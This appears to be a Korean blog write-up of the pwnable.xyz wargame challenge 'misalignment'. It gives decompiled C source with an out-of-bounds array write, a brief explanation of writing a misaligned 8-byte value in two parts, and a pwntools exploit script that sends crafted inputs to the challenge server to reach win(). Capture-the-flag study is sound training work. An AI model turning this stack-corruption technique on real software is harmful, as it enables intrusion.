Wargame
[pwnable.xyz] misalignment
_daeseong_
2025. 2. 4. 03:41
소스코드
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 s[20]; // [rsp+10h] [rbp-A0h] BYREF
s[19] = __readfsqword(0x28u);
setup(argc, argv, envp);
memset(s, 0, 0x98uLL);
*(&s[1] + 7) = 0xDEADBEEFLL;
while ( _isoc99_scanf("%ld %ld %ld", &s[4], &s[5], &s[6]) == 3 && s[6] <= 9 && s[6] >= -7 )
{
s[s[6] + 7] = s[4] + s[5];
printf("Result: %ld\n", s[s[6] + 7]);
}
if ( *(&s[1] + 7) == 0xB000000B5LL )
win();
return 0;
}
분석
*(s[1] + 7) 의 값이 0 xB000000B5이면 플래그를 준다. 그런데 문제 이름처럼 8바이트 스택 정렬이 안 돼 어이 있어서
2번 나눠서 보내줘야 한다.
exp.py
from pwn import *
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30003)
a, b = (x := 0xb500000000000000) // 2, x - x // 2
p.sendline(str(a).encode()+b" "+str(b).encode()+b" "+b"-6")
a, b = (x := 0xB000000) // 2, x - x // 2
p.sendline(str(a).encode()+b" "+str(b).encode()+b" "+b"-5")
p.sendline(b"GET flag!")
p.interactive()